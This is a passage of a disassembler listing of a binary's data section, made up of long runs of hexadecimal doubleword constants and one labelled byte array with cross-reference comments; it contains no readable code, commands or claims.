		dd 643C792Dh, 4A23C2C1h, 0B7B210D9h, 1E50A538h,	0C4478827h
		dd 740BD280h, 609F243Fh, 9CC2300Fh, 361E843Dh, 50743A0h
		dd 7A108755h, 48238E8Ch, 632B70AEh, 9EDE0540h, 0F2680294h
		dd 0AC42BB40h, 48826445h, 2660E3Bh, 0F0809112h,	8E3ADF24h
		dd 5FE6071Ah, 8AC1670h,	70D56F55h, 3D513201h, 96EE043Bh
		dd 4DC70C48h, 52315695h, 3C645E13h, 1867C02Ch, 29F1AF30h
		dd 0E53DC72h, 902D819Ch, 8822EDCEh, 14C80438h, 7452343Bh
		dd 77720580h, 0B280693Fh, 7B015CD1h, 0D20A4D0Ah, 0E48558F4h
		dd 56750222h, 7B0610D2h, 0A97C0622h, 0F0CFF228h, 70A40426h
		dd 67FE8139h, 0A549C3C7h, 0FE818823h, 8A6A53E6h, 0A0EE12C1h
		dd 6D9E4423h, 29CA598Ch, 8A24832h, 0BD784408h, 24387418h
		dd 0E85B4872h, 0C77CB601h, 0D17AF7A3h, 0D9B5C003h, 0B974247Eh
		dd 0C782A4A5h, 20F75BDDh, 8AD22A52h, 5A9BE300h,	5482A372h
		dd 0B0637786h, 0CE442420h, 0B0E407F0h, 58B4CA68h, 53103EE2h
		dd 72013941h, 4DB57FFh,	641BF8C2h, 45910285h, 92228772h
		dd 0C23C4335h, 44AC40E9h, 2CC0D2F9h, 140B959Ch,	1B73D20h
		dd 59AEB2E8h, 6F806033h, 0FFE44206h, 0BD24308Ah, 0C0DB1332h
		dd 5E4C421Fh, 0F163C8Bh, 0BED2B180h, 127E8A40h,	4000CF49h
		dd 1B9CECC7h, 0E89EA6C4h, 6CCA5824h, 0FCC18052h, 0C66FB1EBh
		dd 0B3E63201h, 6C224861h, 0EC222A8Fh, 52018AFDh, 0EC405A93h
		dd 240B2DCh, 12D1CF47h,	5C425084h, 590C8C16h, 411D13F3h
		dd 48F10A72h, 0C034E743h, 0C5BDB617h, 0BC299528h, 4C582348h
		dd 7F8BB0B8h, 792C146Eh, 6009B42Eh, 5416441Ch, 0BFF65C0Ch
		dd 8D2E1A4h, 0C412D6EEh, 3132EC50h, 0F2512FE8h,	1CD82184h
		dd 0D212A33Ch, 2442ECABh, 0C02D3512h, 1467825Ch, 404D2A7Ch
		dd 9DD4EDC1h, 32318077h, 0C380AFD0h, 86781514h,	318158E3h
		dd 9D1B7AC9h, 3C6E5231h, 0BC282316h, 600D7D84h,	977229C6h
		dd 3127F2Fh, 0A800A0F4h, 638091DBh, 0AEB474BEh,	0E7740834h
		dd 9285BAC5h, 4CC01873h, 0B1D9A870h, 0CD9163F4h, 343E5FB1h
		dd 192B2754h, 78814C8Dh, 668748ABh, 974D0405h, 65C8BDAh
		dd 9BCB1423h, 0E1F20A81h, 0E03CDA42h, 6A9297B6h, 6F041C78h
		dd 0DA811812h, 750018CBh, 0EB61DD19h, 320A6F87h, 0F4D9BF41h
		dd 1098DD58h, 0C7DDBh, 81473F52h, 1ACA6F23h, 10778380h
		dd 2A486C38h, 89E2D530h, 3AA2B772h, 0F028A380h,	0B0430A84h
		dd 0C074837Fh, 0DF64F2FFh, 0D8DC1C03h, 0B8AC97ADh, 1E07377Eh
		dd 0C7C33CA8h, 0D1C0F375h, 8024162Ch, 0F60B4D28h, 1585DEE9h
		dd 181EDF90h, 41BA8383h, 0ED002FB2h, 0AE751EAh,	0AA61023Eh
		dd 0BD4B8214h, 8D20CB6Fh, 1D43EBDEh, 0EDB810h, 0DFBC5730h
		dd 0A774D2FEh, 10CA8CFEh, 5DC0389Eh, 3C565A3Dh,	2D98E5B2h
		dd 0A4904814h, 0FEDC9E07h, 5E411011h, 8AC3BC9h,	73E83049h
		dd 60AEE097h, 0FDEF9600h, 0E566C955h, 3D4003CDh, 0EE87DEDCh
		dd 90CE9872h, 686E0ABEh, 2E41D647h, 3880C271h, 0E724F16Dh
		dd 880A99DEh, 346C45E6h, 8D783760h, 0D92531C9h,	41CF3110h
		dd 83B19594h, 96F0CD08h, 10D5C03Ch, 6A65078Ch, 704087D8h
		dd 0E45E4B56h, 1D975D38h, 0D000D9B1h, 4864FC25h, 0C78A07BDh
		dd 0A0090E8Ch, 0BBCA5095h, 305428C0h, 0FC5C94h,	7FBFD06h
		dd 0E755727Bh, 99AAFA00h, 0ECE58120h, 37C7154h,	11EBDCC2h
		dd 40960BBDh, 1202A600h, 99271EA5h, 65CF0043h, 0D74824E2h
		dd 497B6CEAh, 9BBBE903h, 3B096C0h, 255EFBC8h, 9EA03D07h
		dd 0D303C351h, 740F2BC5h
		dd 0DEF00CDCh, 0E7607806h, 57DA6F14h, 48007CACh, 0D961F5CDh
		dd 6546A1h, 0C819938Ah,	4BE437CFh, 0C99B750Ch, 1F699Dh
		dd 324AC6FAh, 0E1829E6Ah, 2EA94F00h, 9B61DB18h,	0DFEA153Dh
		dd 0E27FF8CBh, 0C426005Bh, 4BEB8D94h, 6B00F2CDh, 0B3A30F46h
		dd 7A52AF78h, 1218C579h, 0DF047E4Ah, 0ADEFB243h, 14A89006h
		dd 7A170058h, 0C3753B87h, 4937FDBDh, 0D8030D3h,	3ECD697Fh
		dd 66001B99h, 76241721h, 6F56E691h, 6E3BC234h, 54C950Fh
		dd 0E07B1Ch, 0B215929Ch, 86008368h, 0FD2D34BAh,	3611354h
		dd 0E1AE9C67h, 1800321Ch, 0AD8BCBDh, 22149B70h,	0A9281B0Fh
		dd 0F4071867h, 3D5B09F1h, 0D12971C1h, 76E5110h,	3A4519C4h
		dd 40E49F21h, 0E1D03918h, 0EB872188h, 24A7CD12h, 48028427h
		dd 9CD46281h, 0C4DD1882h, 39D82482h, 45D51885h,	4D6850Ch
		dd 24F8893Ch, 22262438h, 0ED210DAFh, 68B31CF9h,	0E221210Ch
		dd 30EC280Ah, 9066F50Ah, 822FC742h, 10C51148h, 8841CA8h
		dd 59AB1E5h, 41116916h,	0EE5919B4h, 55609630h, 0B27C300Dh
		dd 0E6219430h, 9E3019C7h, 0D806B3C4h, 0A400307Ah, 0DC013898h
		dd 90D27212h, 18970000h, 1D36AA92h, 2B0191B8h, 0F3D1846Dh
		dd 1BC8DA01h, 0A072241Eh, 8F9004Ch, 46622A3Fh, 24071A24h
		dd 0A52EC381h, 0EC408B63h, 0A8CAA18Ch, 208F65D4h, 0BA003B9Eh
		dd 41DFEF78h, 18BE705h,	2009E58Eh, 0FAA936CBh, 0CEFA2501h
		dd 925956ECh, 0F1470C60h, 8F889661h, 9994A101h,	0E218B806h
		dd 2EB303F0h, 2C79CEh, 6087BB75h, 8EEE0298h, 3D5204Ch
		dd 12824AC8h, 3E0BAB5Dh, 74131196h, 28EA019Eh, 0F569E236h
		dd 7107C0DFh, 996DBC00h, 9735D1F9h, 96720067h, 4982B302h
		dd 0B9387693h, 584B3712h, 67DA9520h, 83960086h,	0CAE9AC6Ah
		dd 8900125Fh, 0A63BCBF6h, 10715E8h, 9737F9A4h, 609D993Fh
		dd 0DB00CDA1h, 0A99C52B7h, 0CE453Ch, 2A060710h,	9DD8325Fh
		dd 3ACD34A8h, 31E8FF00h, 10E26A8Eh, 543F057Fh, 80A63C89h
		dd 127E5516h, 0C183FE07h, 0AAA7ADCDh, 0F54D6530h, 296900F6h
		dd 0C6BA203Eh, 0C9004CEDh, 7903DA80h, 0D5838Ch,	0F7F024C1h
		dd 0CA99E5FFh, 0D346DE00h, 6168EE43h, 5B4D0054h, 11DFC49h
		dd 1B01BE73h, 5D4E647h,	39F0A18Ah, 0D1D0608Dh, 0FA4D757Eh
		dd 64719115h, 510C040h,	76C06CB8h, 2AE5F94Eh, 0E8B783E8h
		dd 75480F86h, 266FD55Eh, 5DC99AA2h, 1067C0A6h, 2E78B120h
		dd 73CB2Bh, 0DD49EA83h,	0FC00825Ah, 352C36AFh, 1831342Fh
		dd 18585954h, 22FC390Dh, 0B2AD7F0Fh, 8388C0EAh,	0C756E004h
		dd 0C5AE0DD8h, 0CC884E26h, 3C55CEA2h, 0E7F5D2C0h, 95313261h
		dd 8458482Ah, 75D10726h, 0F93343F2h, 2C113C00h,	0F9060CADh
		dd 5D81D361h, 643301A9h, 8AB54BEh, 4CDE3A7h, 0B109FCh
		dd 865682E1h, 0F692077Dh, 418B126Fh, 0FC7021C9h, 36F8732Ah
		dd 0BB2F9718h, 48CAB368h, 0B2004826h, 86235BCEh, 0DA282149h
		dd 94F0849Ch, 0D29540C0h, 0A5D05h, 259AFB88h, 7DBDFA7Ch
		dd 24F6CB00h, 8AF2F73Dh, 3018C518h, 0DB6DC0E2h,	0ABE85870h
		dd 5D220202h, 80A23B9Ch, 0E3E9E5BCh, 11970063h,	7886B61Dh
		dd 0F670D1Eh, 39409840h, 60B3FFFCh, 0E2ADA122h,	0DB48A0B1h
		dd 46D60084h, 95FF0FFAh, 285A02A4h, 53C2C38h, 2BDB7440h
		dd 8BAEA70Eh, 6FCDC48Ch, 33CCEC80h, 22B200CEh, 49851C70h
		dd 7D6076A1h, 0F08DB3B0h, 730A578h, 9819719Dh, 83A4EEE2h
		dd 8D04B2C8h, 0D3FCEC0Fh, 10200912h, 9FF16A64h,	0E10F8360h
		dd 0C6CE1100h, 0CF2FFB7Fh, 1C9E37DEh, 2807A038h, 0F900C777h
		dd 736C9682h, 91177FB2h, 88F700DCh, 906BDB0Dh, 0EAC0AA00h
		dd 9C5E5AFFh, 0E4BA50BCh, 0C7DE2684h, 0CC68E20h, 2C8C15A0h
		dd 26046224h, 0F9AD7230h, 0D624CCh, 0C7B6AAE1h,	0A5C03C3Ah
		dd 900023FEh, 0BDD0124Ch, 3E92A0h, 16B082EAh, 0B7520A50h
		dd 0CE88D104h, 8CCAFFF5h, 0D75B9A04h, 0F0990012h, 0E091F2A5h
		dd 87509388h, 71B75B1Fh, 50FA7FC9h, 51592848h, 0B0FDC73Ah
		dd 71C280F9h, 67773FDEh, 9990F481h, 20601505h, 520061C4h
		dd 4AE7C456h, 20C6723h,	6C41164Dh, 944A3A06h, 3158400h
		dd 11005A5Bh, 225DED29h, 0FF2C46D3h, 189D9020h,	3136E27Bh
		dd 0FE4926ABh, 0C721A8h, 0B226D96h, 0DA001C4Bh,	82898E17h
		dd 0F0D5DD74h, 9F9009Bh, 47D4FC6h, 0C4707326h, 0DB88E700h
		dd 58E14C56h, 505F07F5h, 505A5C7Dh, 73D24160h, 0B0A71400h
		dd 83198647h, 9FBC3043h, 825E9030h, 357D4D07h, 0D2E0A55Fh
		dd 0F0F9FFDAh, 0BEAB3094h, 9A5EAD28h, 87584061h, 0A8DCACC6h
		dd 9E970144h, 0DB771011h, 7A48E0DEh, 239F9D00h,	13837071h
		dd 0C498C0DAh, 41AA4EF2h, 0A11DE60h, 46E2836Ah,	70F134DAh
		dd 0DD980800h, 3A49615Eh, 8B049444h, 8060BDACh,	0DAA8219Eh
		dd 0EC40CA61h, 61E84566h, 114D009Dh, 0AA834E51h, 290E8CABh
		dd 24D4A8h, 7CA7DF58h, 0FC3C32A3h, 9CAE5C79h, 9932D680h
		dd 0B91FA054h, 762D78EEh, 582E0A8Fh, 9B8A0EA0h,	66292B20h
		dd 0CB0C8BB5h, 48E9EF44h, 9864004Dh, 0B94AB6B0h, 5C005A16h
		dd 0EE683301h, 741A9Dh,	0E5DFF775h, 4A24E640h, 32D19901h
		dd 9F9EF0B5h, 0E85E4843h, 0E9E1605Bh, 338FC851h, 72D10424h
		dd 1DE3008Ch, 24314C9Ch, 601B3E5h, 234EB659h, 0E450FB91h
		dd 7C327C37h, 40C8C142h, 21248B48h, 8079D118h, 3A82DD51h
		dd 0E093D93h, 425BB88Eh, 8F3B2BA7h, 526C5781h, 7D14E01Dh
		dd 269CA615h, 65743E30h, 4840CBB1h, 0AB8DDCFEh,	2DCC044Ah
		dd 90C08498h, 0EF2C7354h, 8ACAB805h, 0BC74DE3Ch, 0DF042Ch
		dd 73BC2609h, 25DAD693h, 81D18060h, 221824h, 76DEE455h
		dd 3A6CCF93h, 0DC7F922Ah, 4D951400h, 0A87D2DDDh, 50AA49D1h
		dd 8E2CB400h, 5D0BF6EFh, 0CD75F300h, 9E131FB7h,	57703BCFh
		dd 3A7B3F8Dh, 40FBD088h, 0EFC5C800h, 0D18A8131h, 4E4B1810h
		dd 71262045h, 33B8D00h,	9CD2E5EFh, 6F3E2EDEh, 43390C2Eh
		dd 4A0088E9h, 0AA41473Ch, 0E52E628h, 0CE147E68h, 0F4602AEEh
		dd 0D3FD12B1h, 1AFC80C2h, 60751264h, 2847C5FAh,	49404D9Bh
		dd 7A50F2h, 2FC88DD5h, 0B4CD2043h, 61F3881Ch, 17009828h
		dd 7205E2C1h, 2F5F327Dh, 58D4CA07h, 51A48115h, 804F0F0h
		dd 6682A00h, 0F0E5A651h, 0C7B20226h, 4D2473D3h,	3ECC8A0h
		dd 0A63DDF5Fh, 0AC70A469h, 0E82824BAh, 5FE5C184h, 0BB997B80h
		dd 8F4E0085h, 0DAC75B34h, 9124247Ch, 710018CEh,	0E5F96F16h
		dd 458C06D5h, 0D63FD7B2h, 56D82A00h, 7708F079h,	0ABC00F2h
		dd 7EC3B5F5h, 0C90025E4h, 74624250h, 9A3DC2h, 927739E5h
		dd 2DB17CDCh, 944CE48h,	10A23225h, 125E07E0h, 0F522EAh
		dd 0B30FC7C4h, 550070A5h, 8D852DB0h, 0A84FA64h,	5A3EE243h
		dd 55FB808Ch, 0D792599Bh, 0A78BE507h, 0D7453D4h, 4A07483h
		dd 810EB718h, 1734C038h, 4A00CEF5h, 0AC6FFE67h,	2B52CB8h
		dd 0A4218C74h, 6860B9D2h, 5D005EAFh, 0FBF08A11h, 0EA78323h
		dd 0BB48216Dh, 51C14EA1h, 8D9DFCA9h, 530FCA00h,	0D8397078h
		dd 5C78C060h, 0DFEEBF08h, 7808F449h, 2D34CE02h,	64A4D40Ah
		dd 0A3FC00A4h, 894FA9B4h, 0BC28F0DBh, 1A30EBE6h, 4D35481Eh
		dd 7BF40047h, 0A04A9580h, 0B0A007EEh, 1EE256B3h, 38814091h
		dd 35C1B08Dh, 8028D145h, 8DFD0399h, 0B631532Bh,	34189CB0h
		dd 7E85C000h, 2AA25037h
		dd 0D47B008Ch, 224ADAD9h, 1D01D171h, 77E03A47h,	0A9EC56A6h
		dd 9038A368h, 46C29340h, 785295h, 0ED8D2535h, 0AA80E4h
		dd 0B057CF45h, 647F2F09h, 2071E53Eh, 9ABB3B35h,	6F592583h
		dd 2AA5D8BFh, 44B8106Ch, 0CF234FC0h, 68F46294h,	5F0EC05h
		dd 0E480FAC6h, 1C4E5B3Ah, 92D1DD11h, 57490015h,	0EC3C2DD5h
		dd 3874F526h, 0AC343681h, 1424A778h, 72703ABAh,	424D12h
		dd 266316ACh, 76028118h, 3CC72BFDh, 0A6E897BEh,	0E8A1CCh
		dd 0FFC1D267h, 591D867Dh, 84454B41h, 2480FA14h,	4842B843h
		dd 47000040h, 19EEB334h, 1800AC7Ch, 90112A30h, 682D60Ah
		dd 1E079964h, 860020EDh, 0D3C015BCh, 3B460D35h,	9860F2CFh
		dd 0A339CC4Eh, 0F58E1099h, 0D9A60266h, 530F1628h, 7E5A5268h
		dd 7C116100h, 90FE390Ah, 0C648123Ch, 15D800EDh,	0AEA10120h
		dd 0B8BC6E00h, 0E131B5A3h, 761E03F4h, 87A74743h, 0D7697001h
		dd 0CCB0FC1Fh, 76689087h, 0F0AAC0DCh, 0E609D06Eh, 0B7E78Fh
		dd 0EA2E9E1Ch, 84F638h,	70F61664h, 4FB35D3Ch, 83D23B00h
		dd 5ADAD7B8h, 20049023h, 0DB003913h, 387728Eh, 0B543EBh
		dd 41613B15h, 0EF5AFD1Fh, 3E959B01h, 0D90E47D8h, 14F5CB70h
		dd 0CCBA8BA4h, 96EED400h, 0C694F43Fh, 34EC1E0Fh, 18C2E3F6h
		dd 4192A0A9h, 0F5F009E4h, 0FC9744A7h, 7E80BC11h, 0B234ADDAh
		dd 6C86249h, 0AA131779h, 0EF3A0056h, 0B194ED0Fh, 6113D3FAh
		dd 0A001955Eh, 648384C8h, 0E16F17E1h, 0FA344933h, 0A9520E41h
		dd 54893498h, 1C1C001Fh, 703A329h, 0D22D416Fh, 579FD091h
		dd 324CDC95h, 1D2048B0h, 1A1C0B1h, 0C1024001h, 481618DDh
		dd 0CC308014h, 64B519E8h, 710098B1h, 0ED33C96Eh, 0EE6D0707h
		dd 0A19FE7C3h, 70501594h, 25712DF6h, 9E22A09h, 24943037h
		dd 2B527147h, 8060BC51h, 68B4A4B2h, 3107DB13h, 0EE8FFDE3h
		dd 5EAEAD81h, 209E420h,	0B397F7F4h, 0F173D7Eh, 8070EE88h
		dd 31229A42h, 5CA20420h, 0D57B37B8h, 0D6282010h, 6024AC5Bh
		dd 8A11A057h, 39C16681h, 0C2FD5F3h, 0E0E3609Ch,	355FFC0Ch
		dd 0E2348E00h, 42181102h, 0FF2D0289h, 7AF37EE6h, 9DF8B468h
		dd 1ADF0D00h, 846CF40Eh, 648C00FFh, 615729ABh, 0B2016548h
		dd 0A49AC3B6h, 0C4F0CA63h, 95315098h, 9DB40017h, 4D2F874Eh
		dd 0CC00DDA0h, 0C1A8FBFEh, 0FFDBA4A9h, 3EB729D0h, 1FC3569h
		dd 40EFE15Bh, 0E0173147h, 7000E661h, 9C72B463h,	740D2114h
		dd 0F66D00A6h, 4998A85Dh, 9700D152h, 61BE0C50h,	1DD31BCh
		dd 0FF409D1Eh, 0F8FBC559h, 2301D27Fh, 3DCE8580h, 344AABAAh
		dd 605510C2h, 0DA3110h,	3274164Dh, 0E0EBB629h, 4F2D4B03h
		dd 0C035FF92h, 1475F9h,	9F333ECCh, 0E598495Eh, 30C1A900h
		dd 0B4680817h, 0CE4201A0h, 0F14F31CFh, 0A16ED0C2h, 25173500h
		dd 7C83B44Ah, 0FC840052h, 0A21C2A1Fh, 0D8027402h, 4C345D18h
		dd 9D28AFC6h, 2E422902h, 0A3901865h, 38E91980h,	2C004DB3h
		dd 2EC1CCF9h, 0DE287903h, 0BE00BC5Bh, 14913023h, 0A1A73DDh
		dd 0FAE7578Bh, 0CFB400D0h, 0E4D310EBh, 0CA389302h, 0C0E1F88Fh
		dd 26D4A7h, 42357D3Bh, 31716FEh, 0A90CC400h, 0F42AF8F6h
		dd 0F73000DCh, 0CE522701h, 0FC0ECD4Dh, 80D7947Bh, 30DD0A77h
		dd 8C79388Ah, 17DBB501h, 0C8FD583Dh, 4200AD16h,	2A42BF5h
		dd 145F912Fh, 0D437D8A7h, 0B57DE600h, 0EB975C90h, 437870F7h
		dd 96B26A00h, 3FEA58F6h, 213E029Ah, 49BFC1E1h, 718CF090h
		dd 85550104h, 248A2516h, 71E10600h, 8332F734h, 0B2BABE00h
		dd 2EDC7F39h, 1D8A000Fh, 0C380262Ah, 1C93F8FCh,	0B608CF00h
		dd 867DBAB7h, 58F4B930h, 754F17h, 8AAD548Dh, 0C33CCA8Eh
		db 0
byte_520045	db 49h,	30h, 3Ah	; DATA XREF: ___:0042CC88o
					; ___:0042CCA0o
		dd 826D8634h, 58158A4Eh, 0F20631Ah, 64E42158h, 0C0DC1E2Bh
		dd 0C94E277h, 38407CC3h, 7E007A29h, 864D2ACBh, 1320E0h
		dd 8CEEA57Dh, 0CD6F18C0h, 1A9903Ah, 8040DE57h, 41DA37BAh
		dd 0F8110CD4h, 1EE8509Fh, 8C00E22Dh, 9BF103F5h,	2150866h
		dd 0C34934E4h, 0EC807A3Bh, 83B2189Ah, 90418F60h, 31569F9h
		dd 0B0F4F62Ah, 8009261h, 0C1A6D5FDh, 0EE69BE72h, 8211476h
		dd 5500F4DBh, 647BAE91h, 4350BC54h, 3B008DFCh, 3003BB5Eh
		dd 0FC05AFF4h, 88150045h, 9385EF98h, 0EB00429Dh, 243738Dh
		dd 13CEE7Ch, 7E13F360h,	0D0FB63DEh, 71E33D5Bh, 314BC061h
		dd 10F13E07h, 24A0E27Dh, 3CB3612Ah, 8E805E0Ch, 0DF25B253h
		dd 8C07F04Dh, 72FEE1A1h, 62431D40h, 3533008Eh, 0A224D23Eh
		dd 0E1070D93h, 9FB63CD6h, 28E2FA3h, 37AFFC88h, 4C8FE51Dh
		dd 0B2ABE7E7h, 0FA16EC9Bh, 2DE75CA5h, 0D8988A00h, 0B2F1C605h
		dd 0BEB42A00h, 0CBD711C7h, 0DDDC014Ch, 86B32E01h, 8022D106h
		dd 0EDB57E21h, 741F296h, 844AE7C9h, 0FAD68151h,	0B63AF837h
		dd 0E0F43300h, 0B92F6087h, 9EB893h, 0F166A986h,	75A8D455h
		dd 0E2832A01h, 0EE22CBC7h, 72A54048h, 0FEC610EDh, 0AFD0DF5Fh
		dd 5AE98800h, 5144BF2Ch, 0B621C100h, 4E91F161h,	3E750CA9h
		dd 0F859BECDh, 0E7886CAFh, 0F9D263AFh, 2C2F70AFh, 940303D3h
		dd 135F6BDAh, 4725908Dh, 4CB60127h, 0B8C2A7Ah, 1E3D300Eh
		dd 0C0EDC304h, 49C12CC7h, 28CCAE5Eh, 31B00199h,	0D00BE1CDh
		dd 0DFF9708Fh, 390074F2h, 7545AA4Dh, 0FE02130h,	9EE4CAE1h
		dd 2E81300h, 0B600A37Eh, 62125E0Dh, 702CEBh, 9171E77Fh
		dd 0C3D2056Ch, 1314310Eh, 741D27B3h, 9098D901h,	0D0D09A47h
		dd 61AD20h, 0D414725Dh,	0E6010FEBh, 1BF6CA00h, 17B354ABh
		dd 0EFC6001Eh, 7983FE4Ah, 200F338h, 0B0044022h,	0F5100Ah
		dd 0EA46DD3Ch, 625F3609h, 0ED01FAFAh, 0E11938AFh, 4C80A8F5h
		dd 67715061h, 0D312E91Dh, 0EE01405Dh, 0AEBA35ACh, 0F297C2C8h
		dd 39DF00C8h, 0DA46268Dh, 9500A328h, 8005B0AAh,	0D48421h
		dd 660ACDAFh, 86856D23h, 0FB4AAC00h, 8EECC372h,	4D30006h
		dd 7DD4DDD2h, 0D1F87942h, 0FD861900h, 931F95CDh, 4CD9004Eh
		dd 75C95030h, 37007902h, 3F838B6h, 3181F02Fh, 1B307405h
		dd 0F197E064h, 93F6B501h, 387E6278h, 7FD76D8h, 0A53DFCD4h
		dd 0E494C08Fh, 7C001116h, 70729BD9h, 3CB5Fh, 0B80A45F4h
		dd 923FFD7Eh, 9906AE06h, 0FA60D2A0h, 40530012h,	1A3E8DD0h
		dd 2300EFA6h, 0A80E6102h, 1218751h, 0E38F34A9h,	0E8555D2Ch
		dd 81074AB8h, 56259BC9h, 0F33CFFB1h, 0FF0F909Eh, 0AFA88F80h
		dd 0CE507DEBh, 59AE2A00h, 2FCB520Ch, 7584A817h,	3C1F4C2h
		dd 57D5EC1Bh, 0C4F0661Ch, 62003CA0h, 6FD6C86h, 1631DCh
		dd 8518D394h, 0E6B19B8Dh, 73C9E31Eh, 0DEA73B40h, 507539EFh
		dd 2A8EA0FFh, 1DD0846Fh, 0EA4DCBh, 0EE2D2286h, 0A300936Ch
		dd 468DE24Fh, 0FA73B4h,	0C20A115Fh, 3494A7AEh, 6D1C38C0h
		dd 7D58EBC4h, 0F0AA38D2h, 0D5401880h, 0B7369197h, 0CE1E381Ch
		dd 80AB8E8Bh, 0D3E2A4A3h, 6F92EADh, 820B009Dh, 35341C94h
		dd 8951C600h, 5E2518B7h, 4014018Ch, 0F2D82F81h,	0D9088DE6h
		dd 80C82021h, 8EA3008Ch, 9641C43Fh, 340026F7h, 6D1ABCD7h
		dd 0E8D391h, 518DA794h,	0C5C25CB7h, 6ECC3400h, 0ED6D6071h
		dd 1AEC3DA3h, 5290287Bh, 8CE73A3Ch, 84093A91h, 7C007FBAh
		dd 21FD8CA2h, 84CA1400h, 0B9FEAF3Eh, 115003Bh, 66D0A8F4h
		dd 0F30CABA1h, 10620B79h, 26741243h, 773401A4h,	9F9FE53Dh
		dd 2030BE08h, 0B4378Ah,	3BBDDA5Ch, 99787C9Bh, 568E700h
		dd 0B562600Dh, 2B91016Ch, 3D02184Fh, 0B18570A9h, 0E60FBE00h
		dd 0AE0695F4h, 0C59600A8h, 2FA91E91h, 3B1DB122h, 80BBEF40h
		dd 601B3AFEh, 4D3D2EBh,	85C7AC2Bh, 6947C339h, 60AE6108h
		dd 7C09406Fh, 59D00FD2h, 92881030h, 0AF819000h,	470A670Ch
		dd 0C7E0AD00h, 9176B912h, 0DE3B001Fh, 1DC8A80Fh, 0D20E36A3h
		dd 0A0D4BB70h, 0AB3A0DC1h, 666E0302h, 903D1844h, 89A0E7BBh
		dd 4008251h, 0EB370E32h, 7EB9D89Ah, 67C1009Ch, 2363949Dh
		dd 55022018h, 804C6417h, 0BAF5808Dh, 72B96CF3h,	3F69032Dh
		dd 43261A66h, 98C513E0h, 0D9F7D701h, 0C38DAC93h, 9BEBFE1h
		dd 3858E901h, 0C1544494h, 0EEC480C6h, 5D48B87Bh, 8DE8FBh
		dd 0C598D36Ch, 0D141428Bh, 0CFB06505h, 0F2C179DDh, 9EC39947h
		dd 458E569h, 0EC420A82h, 0F60CC6F5h, 6600308Fh,	0CAC3A00Ah
		dd 0DBD00BBh, 951086B8h, 9A0C8C33h, 19B778E5h, 9C091082h
		dd 84E0213Ch, 449BF4CEh, 56210598h, 424F08C3h, 1E120C73h
		dd 0A8CC618Fh, 44C5FA0Ch, 54860843h, 228D1826h,	6E54B6D7h
		dd 76426654h, 3C6B8A14h, 18DA1B14h, 0A63F608h, 32C55C90h
		dd 6124050Fh, 7E180CFDh, 0A3E81891h, 0ECB7D91Ch, 82A60B00h
		dd 2425E1AFh, 83088372h, 26CF5866h, 579A01FCh, 2545E1h
		dd 37DADD0h, 0DDCDACA6h, 0B7A21282h, 9685C4A0h,	6CFE5D2Fh
		dd 0F5EB8100h, 0E8BCDE7Fh, 3605021Ch, 1E0B44Eh,	0A56583C0h
		dd 629C6600h, 4182B332h, 0E1F80075h, 0A2919F20h, 0B600DCCDh
		dd 579CD436h, 16EFC996h, 5B90ABEh, 302BA000h, 54BCBA4Ch
		dd 0DF92D9C0h, 393CD77h, 0ACAD89CEh, 0CF8BA326h, 0ABAE4BB0h
		dd 8DF09000h, 0B203B73Dh, 798E00FAh, 9CD9E146h,	7118D55Bh
		dd 68981316h, 0EE670531h, 71AC8081h, 0F38831Ch,	1CDD3312h
		dd 4CB9804Dh, 0A474BB8h, 0F5E491Ch, 63510645h, 0F4E6C078h
		dd 0BC6900EFh, 0EA63368Fh, 0E53F393Dh, 575E0084h, 0C6321B17h
		dd 74D4024Bh, 48C8BC5Fh, 4D0100E0h, 880D7600h, 0C459D329h
		dd 7C73A3h, 0B8605C39h,	2EF9809Ch, 0E3D0E207h, 5A400D1Ah
		dd 5CE581D5h, 5300E174h, 0CBEC3C58h, 0C8001BE0h, 0C057A424h
		dd 76D32312h, 884D0F63h, 79605D27h, 1C176C5Ah, 2A6DF90Fh
		dd 0BD4521E1h, 0F841AC4Dh, 0B082EA62h, 1AC4E8ADh, 280CC763h
		dd 0B0459318h, 0B14E43B9h, 0C51A506Ah, 4C2CE27Ch, 0CF9A001Bh
		dd 0A5DAA43Fh, 3202ECC5h, 0FF60D0Ch, 69B4806Dh,	1E1A5B62h
		dd 0F21195Eh, 914AF7E9h, 34E0180h, 314A0471h, 0EFCC17E6h
		dd 274F50E0h, 0E5F47E7Fh, 0E4C94D02h, 0C048535Fh, 0EE5D6216h
		dd 7A5F2A8h, 0DC5E5C96h, 900DF0D4h, 0CA0C4C77h,	30BF1F34h
		dd 62561860h, 3B5E782Ch, 0D6FB322Eh, 0FD586400h, 15BF02E3h
		dd 0C8A2B2C6h, 0C1CF9701h, 8023CD4Eh, 90076C91h, 169E926h
		dd 916B0F8Dh, 80E88929h, 74612C20h, 0A02E2A9h, 0DFECB32Bh
		dd 0DB8057ACh, 30EE95C6h, 2D4F3CDEh, 35454D05h,	0D395C0F6h
		dd 800C13Eh, 150D092Ch,	17D8559h, 86BBBE3Bh, 4A828EADh
		dd 73AFA144h, 0DBBE8450h, 92750236h, 0DF8C5B70h, 2B003445h
		dd 3BB7A7E1h, 31730228h, 0DB76D325h, 5F29DB40h,	450B2C00h
		dd 83A08740h, 24C900BAh, 7E341284h, 4800CE91h, 625BDCB0h
		dd 91B85F4Ch, 23C5E3DCh, 3CD5F1A0h, 0F70281B8h,	74139C6h
		dd 184942Ch, 0E746AFD1h, 40E0EAECh, 32FB6BA0h, 0CDF2E100h
		dd 7E4FDD8Fh, 76FC00C7h, 0D3AC8227h, 0E9B0FA05h, 8FBE800h
		dd 0A73247BBh, 817B609Dh, 0F639D2E9h, 5A9BB501h, 24453EDEh
		dd 5E1EF0E7h, 0D07053DAh, 0C969EA0Fh, 85032180h, 0BF247E0Ch
		dd 39576401h, 0C00833A6h, 2D6404E8h, 9CF7CE00h,	70DE13EDh
		dd 20360F56h, 0C8E19814h
		dd 26B4AA5Fh, 1899C70Ch, 978BB4A0h, 0C45E00D6h,	0B649E3DCh
		dd 800371Dh, 0D9665929h, 75F8C3DFh, 388500B9h, 64D18FDh
		dd 0D81DC18Ah, 58C029B1h, 6E8C771Ah, 91D9003Dh,	0F434406Fh
		dd 9008718h, 61859532h,	94DEA9h, 0C82CB5A5h, 4AACDB56h
		dd 0D7A70C1Dh, 55A23583h, 0E709E80h, 0A689B712h, 49DCAF00h
		dd 0FE00FD3Ch, 21B6A79Fh, 0EF27E2h, 0CAAAA92Dh,	0D6154E01h
		dd 2FC2ED0Ch, 0AE43894h, 51EBDCB6h, 0F13D5644h,	378E09Bh
		dd 11AF5D0h, 49D8C50Fh,	0F28CDB2Eh, 0E48E8482h,	5A9F9090h
		dd 24B5AE00h, 703C9D31h, 6CB70ED0h, 39CC82A9h, 0EC045E10h
